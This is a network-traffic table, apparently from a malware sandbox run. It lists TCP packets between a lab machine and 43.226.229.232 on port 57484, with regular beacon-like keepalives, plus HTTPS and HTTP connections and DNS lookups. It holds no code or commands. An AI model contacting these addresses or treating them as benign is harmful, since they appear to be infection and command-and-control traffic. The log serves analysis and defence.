Oct 22, 2024 06:17:32.126379013 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.126414061 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.126462936 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.127151966 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.127187967 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.127239943 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.127938986 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.127974987 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.128024101 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.128720999 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.128757000 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.128815889 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.129507065 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.129540920 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.129575014 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.129581928 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.130211115 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.130264044 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.168287039 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.168379068 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.168421984 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.168422937 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.242084026 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.242145061 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.242172956 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.242211103 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.242255926 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.242631912 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.242669106 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.242711067 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.243300915 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.243359089 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.243407011 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.244034052 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.244071960 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.244102001 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.244117975 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.244755983 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.244792938 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.244824886 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.244853973 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.244894028 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.245362043 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.245395899 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.245435953 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.246088028 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.246123075 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.246165991 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.246814966 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.246850967 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.246893883 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.247559071 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.247596025 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.247636080 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.248282909 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.248317957 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.248351097 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.248367071 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.248976946 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.249032974 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.287000895 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.287146091 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.287183046 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.287199020 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.360953093 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.361037970 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.361042976 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.361082077 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.361135006 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.361397028 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.361433983 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.361478090 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.362082958 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.362118959 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.362162113 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.362811089 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.362847090 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.362893105 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.363559961 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.363595009 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.363643885 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.364270926 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.364306927 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.364341021 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.364358902 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.365021944 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.365056992 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.365072966 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.365798950 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.365834951 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.365844011 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.366461992 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.366497993 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.366509914 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.366532087 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.366574049 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.367175102 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.367208958 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.367258072 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.403024912 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.403074026 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.403111935 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.403131962 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.405668974 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.405740976 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.405761957 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.405810118 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.405869007 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.479717970 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.479866028 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.479903936 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.479917049 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.480345011 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.480381966 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.480391979 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.480906963 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.480941057 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.480953932 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.481554031 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.481587887 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.481597900 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.482287884 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.482322931 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.482341051 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.483021021 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.483057022 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.483072042 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.483757973 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.483793020 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.483809948 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.483827114 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.483882904 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.484496117 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.484532118 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.484574080 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.485243082 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.485279083 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.485331059 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.485951900 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.485986948 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.486028910 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.486639023 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.521641970 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.521704912 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.521737099 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.521775961 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.521823883 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.524394035 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.524568081 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.524605036 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.524611950 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.598450899 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.598501921 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.598506927 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.598542929 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.598583937 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.598963022 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.598999977 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.599051952 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.599524021 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.599555016 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.599587917 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.599598885 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.600260973 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.600296021 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.600312948 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.600975037 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.601012945 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.601089001 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.601702929 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.601739883 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.601756096 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.601773024 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.601816893 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.602452040 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.602488041 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.602533102 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.603157997 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.603244066 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.603287935 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.603895903 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.603931904 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.603965044 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.603982925 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.604614019 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.604649067 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.604661942 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.640423059 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.640482903 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.640547037 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.640588045 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.640635014 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.642937899 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.643126011 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.643160105 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.643178940 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.643593073 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.643630028 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.643647909 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.644201040 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.644274950 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.686738014 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.686830044 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.686887026 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.716959000 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.717051983 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.717091084 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.717098951 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.717622042 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.717658043 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.717669010 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.718198061 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.718234062 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.718244076 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.718833923 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.718868971 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.718882084 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.719377995 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.719412088 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:32.719429016 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:32.798813105 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:34.794389963 CEST	49749	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:34.794480085 CEST	443	49749	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:34.794555902 CEST	49749	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:34.796252966 CEST	49749	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:34.796293020 CEST	443	49749	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:34.889028072 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:34.895276070 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895343065 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895381927 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895392895 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:34.895411015 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895447016 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895476103 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895503044 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895529985 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895556927 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895582914 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.895768881 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:34.901160955 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.901202917 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.901232004 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.901268005 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.907144070 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.907171965 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.907198906 CEST	57484	49747	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:34.907342911 CEST	49747	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:35.424791098 CEST	443	49749	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:35.424886942 CEST	49749	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:35.426696062 CEST	49749	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:35.426724911 CEST	443	49749	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:35.427232027 CEST	443	49749	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:35.432691097 CEST	49749	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:35.475326061 CEST	443	49749	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:35.580027103 CEST	443	49749	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:35.580235958 CEST	443	49749	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:35.580306053 CEST	49749	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:35.580854893 CEST	49749	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:42.577632904 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:42.587029934 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:17:42.592590094 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:17:43.981947899 CEST	49750	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:43.982036114 CEST	443	49750	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:43.982131958 CEST	49750	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:43.983951092 CEST	49750	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:43.984033108 CEST	443	49750	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:44.588579893 CEST	443	49750	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:44.588705063 CEST	49750	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:44.606710911 CEST	49750	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:44.606789112 CEST	443	49750	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:44.607768059 CEST	443	49750	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:44.619961023 CEST	49750	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:44.663403034 CEST	443	49750	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:44.762155056 CEST	443	49750	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:44.762423992 CEST	443	49750	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:44.762631893 CEST	49750	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:44.779426098 CEST	49750	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:51.809319019 CEST	49751	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:51.809406996 CEST	443	49751	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:51.809490919 CEST	49751	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:51.811512947 CEST	49751	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:51.811553001 CEST	443	49751	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:52.434557915 CEST	443	49751	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:52.434672117 CEST	49751	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:52.451739073 CEST	49751	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:52.451822996 CEST	443	49751	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:52.452146053 CEST	443	49751	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:52.486773968 CEST	49751	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:52.527350903 CEST	443	49751	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:52.632143021 CEST	443	49751	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:52.632257938 CEST	443	49751	104.20.4.235	192.168.2.4
Oct 22, 2024 06:17:52.632325888 CEST	49751	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:17:52.633480072 CEST	49751	443	192.168.2.4	104.20.4.235
Oct 22, 2024 06:18:12.639847040 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:18:12.644210100 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:18:12.649530888 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:18:42.699285984 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:18:42.700551033 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:18:42.705885887 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:19:12.767426968 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:19:12.768656969 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:19:12.774101019 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:19:18.330507040 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:19:18.647664070 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:19:19.298985958 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:19:20.502109051 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:19:23.002218008 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:19:27.814642906 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:19:37.424164057 CEST	49748	80	192.168.2.4	178.237.33.50
Oct 22, 2024 06:19:42.831193924 CEST	57484	49745	43.226.229.232	192.168.2.4
Oct 22, 2024 06:19:42.831690073 CEST	49745	57484	192.168.2.4	43.226.229.232
Oct 22, 2024 06:19:42.838329077 CEST	57484	49745	43.226.229.232	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 06:17:03.118999958 CEST	53495	53	192.168.2.4	1.1.1.1
Oct 22, 2024 06:17:03.517076969 CEST	53	53495	1.1.1.1	192.168.2.4
Oct 22, 2024 06:17:07.919241905 CEST	58311	53	192.168.2.4	1.1.1.1
Oct 22, 2024 06:17:07.930574894 CEST	53	58311	1.1.1.1	192.168.2.4
Oct 22, 2024 06:17:15.074580908 CEST	55759	53	192.168.2.4	1.1.1.1
Oct 22, 2024 06:17:15.087922096 CEST	53	55759	1.1.1.1	192.168.2.4
Oct 22, 2024 06:17:23.253169060 CEST	57550	53	192.168.2.4	1.1.1.1
Oct 22, 2024 06:17:23.261068106 CEST	53	57550	1.1.1.1	192.168.2.4
Oct 22, 2024 06:17:25.653739929 CEST	52092	53	192.168.2.4	1.1.1.1
Oct 22, 2024 06:17:25.769793034 CEST	53	52092	1.1.1.1	192.168.2.4
Oct 22, 2024 06:17:28.328073025 CEST	60152	53	192.168.2.4	1.1.1.1
Oct 22, 2024 06:17:28.337229013 CEST	53	60152	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
